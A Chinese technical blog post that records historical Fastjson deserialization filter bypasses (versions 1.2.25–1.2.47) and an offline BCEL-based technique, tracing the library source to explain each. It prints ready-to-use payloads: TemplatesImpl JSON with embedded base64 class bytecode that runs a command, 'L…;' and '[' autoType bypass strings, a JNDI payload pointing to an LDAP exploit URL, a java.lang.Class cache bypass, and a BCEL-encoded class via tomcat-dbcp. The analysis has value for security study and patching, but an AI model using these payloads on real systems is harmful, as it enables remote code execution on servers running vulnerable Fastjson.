热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Fastjson历史版本补丁绕过/不出网

记录一下fastjson历史绕过和不出网分析过程在1.2.24之后的版本,使用了checkAutotype函数进行校验,校验方式采用黑白名单的方式进行校验开启A

记录一下fastjson历史绕过和不出网分析过程


在1.2.24之后的版本,使用了checkAutotype函数进行校验,校验方式采用黑白名单的方式进行校验


开启AutoTypeSupport的绕过


1.2.25-1.2.41版本绕过


String testt="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\"],'_name':'a.b','_tfactory':{ },\"_o_________________utputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";

Templateimpl链,开启autotypesupport,报错

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

问题出在checkAutoType

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class clazz = this.config.checkAutoType(ref, (Class)null);

public Class checkAutoType(String typeName, Class expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i <this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}


for(i = 0; i <this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

acceptList是白名单

denyList是黑名单

可以看到他判断传入的类名开头是否属于黑名单中的类


如果不在黑名单中,就会进行loadClass操作

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

public static Class loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class compOnentType= loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}


try {
ClassLoader cOntextClassLoader= Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}


try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}

可以loadClass中遇到[ L ;都有相对于的截取字符串的操作,后续大部分绕过都是基于这个loadClass做文章的

} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);

可以看到这里开头为L 结尾为; 会截取其中的字符,然后再进行一个回调

所以payload可以写成

Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

由于会对loadClass进行回调,所以只需要L和;的数量相对于即可,也可以在其中插入[

LLLLLLLLLLLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;;;;;

1.2.25-1.2.41

checkAutoType中对className开头字符进行校验,如果是LL开头直接抛出异常,这里可以通过[进行绕过

String test="{\"@type\":\"[LLLLLLLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;;;;;;\"[{,\"_bytecodes\":[\"yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\"],'_name':'a.b','_tfactory':{ },\"_o_________________utputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";


1.2.42开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单

1.2.25-1.2.42

前置条件,目标需要存在mybatis的包,且版本需要小于3.5.0

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:8888/exploit"}}


无需开启AutoTypeSupport利用

影响版本1.2.25-1.2.47

利用思路是先把要利用的类写入缓存中,第二次在调用

String test3="{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\":[\"yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\"],\n" +
" \"_name\":'a.b',\n" +
"\t\t'_tfactory':{},\n" +
"\t\t'_o_________________utputProperties':{}\n" +
" }\n" +
"}";

在checkautotype中,先从map中获取类,如果存在则直接返回,否则在进行白名单校验

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

而java.lang.class正好就在其中,然后会把值缓存进map中,然后再进行触发


MiscCodec.deserialze

} else {
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}


if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}


lexer.nextToken();
parser.accept(17);
objVal = parser.parse();
parser.accept(13);
} else {
objVal = parser.parse();
}
String strVal;
if (objVal == null) {
strVal = null;
} else {
if (!(objVal instanceof String)) {
if (objVal instanceof JSONObject && clazz == Entry.class) {
JSONObject jsOnObject= (JSONObject)objVal;
return jsonObject.entrySet().iterator().next();
}


throw new JSONException("expect string");
}


strVal = (String)objVal;
}


if (strVal != null && strVal.length() != 0) {
if (clazz == UUID.class) {
return UUID.fromString(strVal);
} else if (clazz == URI.class) {
return URI.create(strVal);
} else if (clazz == URL.class) {
try {
return new URL(strVal);
} catch (MalformedURLException var9) {
throw new JSONException("create url error", var9);
}
} else if (clazz == Pattern.class) {
return Pattern.compile(strVal);
} else if (clazz == Locale.class) {
String[] items = strVal.split("_");
if (items.length == 1) {
return new Locale(items[0]);
} else {
return items.length == 2 ? new Locale(items[0], items[1]) : new Locale(items[0], items[1], items[2]);
}
} else if (clazz == SimpleDateFormat.class) {
SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale());
dateFormat.setTimeZone(lexer.getTimeZone());
return dateFormat;
} else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
return new File(strVal);
} else if (clazz == TimeZone.class) {
return TimeZone.getTimeZone(strVal);
} else {
if (clazz instanceof ParameterizedType) {
ParameterizedType parmeterizedType = (ParameterizedType)clazz;
clazz = parmeterizedType.getRawType();
}


if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

loadClass

public static Class loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class compOnentType= loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}


try {
ClassLoader cOntextClassLoader= Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}

在27行把类存入mapping,然后继续扫描字符扫描到下一个@type,进入checkAutoType

public Class checkAutoType(String typeName, Class expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i <this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}


for(i = 0; i <this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}


Class clazz = TypeUtils.getClassFromMapping(typeName);

getClassFromMapping正好从mapping中取出前面插入的templateimpl,在下面直接return了,所以就导致不需要开启autotype也可以调用任意类的问题


不出网利用

之前面试被问到了,一问三不知md,记录一下,首先是参考kingx师傅写的通过classloader加载bcel字节码


首先需要知道forName和loadClass的区别,forName在加载类的时候,会执行static代码块,而loadClass不会


payload

String bcel="{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"Lorg.apache.tomcat.dbcp.dbcp2.BasicDataSource;\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$db$40$U$3d$938$f1$a3$O$81$40$e8$fbAK$8b$93Jd$d3$j$a8$9b$aa$95$aa$ba$a5j$Q$5dt5$99$8e$d2$B$c7$8e$i$H$f1G$ac$d9$d0$aa$L$3e$80$8f$aaz$c6D$B$89X$9a$b9s$cf$3d$f7$dc3$9e$cb$7f$7f$_$A$bcA7$80$87$87$B$k$e1$b1$87$t6$3eu$f1$y$40$N$h$$$9e$bbx$nP$df5$a9$v$de$KT$a3$ce$81$80$f3$$$fb$a9$F$9a$b1I$f5$97$e9h$a0$f3$7d9H$88$b4$e2L$c9$e4$40$e6$c6$e63$d0$v$7e$99$J5b$7dl$92$j$e6$piR$81$f5$e8G$7c$u$8fe$_$91$e9$b0$d7$_r$93$OwJu$99$P$c9_$5dP$W$f0vU2$f3$o$a8$dd$be$e2$98$ac$f7q$ef$fd$89$d2$e3$c2d$vi$8d$7e$n$d5$d1g9$$$3d$f0$3a$CA$3f$9b$e6J$7f0$d6$93o$bdl$db$de$Q$3e$C$X$9b$n$5e$e2$V$f5$e9_m$eb$T$jb$L$R$5d$y$d0$P$d1A$40$9fVC$60$f9$da$e5$de$e0P$abB$60$e5$g$fa6M$L3$e2$c4$60$a8$8by$d2$8e$3a$f1$z$8e$fd5$i$ac$E$b6$a2$F$7f$e6$G$f45$cf$94$9eL$d8$d0$i$b3X$94$97$dd$cf$a5$d2$d8$80$cb$d7$b4_$V$c2$5e$8d$fb$jf$3dF$c1X$eb$fe$868$e3$a1$82$90$7b$bd$E$abhp$P$af$IXB$93$d1$c72Vf$cd$af$b9l$edV$e3$d2$8dF$be$3eV$Z$3d$ac$cd$a7J$b2m$ad$f5$H$95V$f5$i$ce$f7Sx$9f$ba$e7$a8$9f$95$b8$cf$de$g$c7$5b$c5u$9e$ac$ae_$a2$$$95$3d$g$I$e6$T$gp$d0$s$L$b8$cb$e5$a2$S$bb$b8$e7$b0p$bf4$f5$e0$3f$a0$bc$q$X$d0$C$A$A\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";

总体思路是,通过getConnection来触发classloader加载bcel字节码

分析如下:


public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
BasicDataSource.PaGetConnection action = new BasicDataSource.PaGetConnection();


try {
return (Connection)AccessController.doPrivileged(action);
} catch (PrivilegedActionException var4) {
Throwable cause = var4.getCause();
if (cause instanceof SQLException) {
throw (SQLException)cause;
} else {
throw new SQLException(var4);
}
}
} else {
return this.createDataSource().getConnection();
}
}

跟入createDataSource

protected DataSource createDataSource() throws SQLException {
if (this.closed) {
throw new SQLException("Data source is closed");
} else if (this.dataSource != null) {
return this.dataSource;
} else {
synchronized(this) {
if (this.dataSource != null) {
return this.dataSource;
} else {
this.jmxRegister();
ConnectionFactory driverCOnnectionFactory= this.createConnectionFactory();
boolean success = false;

跟入createConnectionFactory

protected ConnectionFactory createConnectionFactory() throws SQLException {
return ConnectionFactoryFactory.createConnectionFactory(this, DriverFactory.createDriver(this));
}

这里跟入createDriver方法

static Driver createDriver(BasicDataSource basicDataSource) throws SQLException {
Driver driverToUse = basicDataSource.getDriver();
String driverClassName = basicDataSource.getDriverClassName(); //获取bcel字节码
ClassLoader driverClassLoader = basicDataSource.getDriverClassLoader(); //获取classloader
String url = basicDataSource.getUrl();
if (driverToUse == null) {
Class driverFromCCL = null;
String message;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}

注意15行,这里调用我们自定义的classloader来加载

protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;


/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}


if(cl == null) {
JavaClass clazz = null;


/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}


if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

24行中,如果开头为$$BCEL$$,则会调用createClass进行处理.

最终造成任意代码执行



推荐阅读
  • 在JavaWeb开发中,文件上传是一个常见的需求。无论是通过表单还是其他方式上传文件,都必须使用POST请求。前端部分通常采用HTML表单来实现文件选择和提交功能。后端则利用Apache Commons FileUpload库来处理上传的文件,该库提供了强大的文件解析和存储能力,能够高效地处理各种文件类型。此外,为了提高系统的安全性和稳定性,还需要对上传文件的大小、格式等进行严格的校验和限制。 ... [详细]
  • 本文介绍了如何使用 Node.js 和 Express(4.x 及以上版本)构建高效的文件上传功能。通过引入 `multer` 中间件,可以轻松实现文件上传。首先,需要通过 `npm install multer` 安装该中间件。接着,在 Express 应用中配置 `multer`,以处理多部分表单数据。本文详细讲解了 `multer` 的基本用法和高级配置,帮助开发者快速搭建稳定可靠的文件上传服务。 ... [详细]
  • 在处理 XML 数据时,如果需要解析 `` 标签的内容,可以采用 Pull 解析方法。Pull 解析是一种高效的 XML 解析方式,适用于流式数据处理。具体实现中,可以通过 Java 的 `XmlPullParser` 或其他类似的库来逐步读取和解析 XML 文档中的 `` 元素。这样不仅能够提高解析效率,还能减少内存占用。本文将详细介绍如何使用 Pull 解析方法来提取 `` 标签的内容,并提供一个示例代码,帮助开发者快速解决问题。 ... [详细]
  • 如何使用ES6语法编写Webpack配置文件? ... [详细]
  • 本文介绍了如何利用ObjectMapper实现JSON与JavaBean之间的高效转换。ObjectMapper是Jackson库的核心组件,能够便捷地将Java对象序列化为JSON格式,并支持从JSON、XML以及文件等多种数据源反序列化为Java对象。此外,还探讨了在实际应用中如何优化转换性能,以提升系统整体效率。 ... [详细]
  • 在处理木偶评估函数时,我发现可以顺利传递本机对象(如字符串、列表和数字),但每当尝试将JSHandle或ElementHandle作为参数传递时,函数会拒绝接受这些对象。这可能是由于这些句柄对象的特殊性质导致的,建议在使用时进行适当的转换或封装,以确保函数能够正确处理。 ... [详细]
  • 本文总结了JavaScript的核心知识点和实用技巧,涵盖了变量声明、DOM操作、事件处理等重要方面。例如,通过`event.srcElement`获取触发事件的元素,并使用`alert`显示其HTML结构;利用`innerText`和`innerHTML`属性分别设置和获取文本内容及HTML内容。此外,还介绍了如何在表单中动态生成和操作``元素,以便更好地处理用户输入。这些技巧对于提升前端开发效率和代码质量具有重要意义。 ... [详细]
  • 本文介绍了如何在iOS平台上使用GLSL着色器将YV12格式的视频帧数据转换为RGB格式,并展示了转换后的图像效果。通过详细的技术实现步骤和代码示例,读者可以轻松掌握这一过程,适用于需要进行视频处理的应用开发。 ... [详细]
  • 本文最初发表在Thorben Janssen的Java EE博客上,每周都会分享最新的Java新闻和动态。 ... [详细]
  • Ext JS MVC系列一:环境搭建与框架概览
    本文主要介绍了如何在项目中使用Ext JS 4作为前端框架,并详细讲解了Ext JS 4的MVC开发模式。文章将从项目目录结构、相关CSS和JS文件的引用以及MVC框架的整体认识三个方面进行总结。 ... [详细]
  • Framework7:构建跨平台移动应用的高效框架
    Framework7 是一个开源免费的框架,适用于开发混合移动应用(原生与HTML混合)或iOS&Android风格的Web应用。此外,它还可以作为原型开发工具,帮助开发者快速创建应用原型。 ... [详细]
  • 秒建一个后台管理系统?用这5个开源免费的Java项目就够了
    秒建一个后台管理系统?用这5个开源免费的Java项目就够了 ... [详细]
  • 本地存储组件实现对IE低版本浏览器的兼容性支持 ... [详细]
  • 使用Jsoup解析并遍历HTML文档时,该库能够高效地生成一个清晰、规范的解析树,即使源HTML文档存在格式问题。Jsoup具备强大的容错能力,能够处理多种异常情况,如未闭合的标签等,确保解析结果的准确性和完整性。 ... [详细]
  • Maven Web项目创建时JSP文件常见错误及解决方案
    Maven Web项目创建时JSP文件常见错误及解决方案 ... [详细]
author-avatar
Steven
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有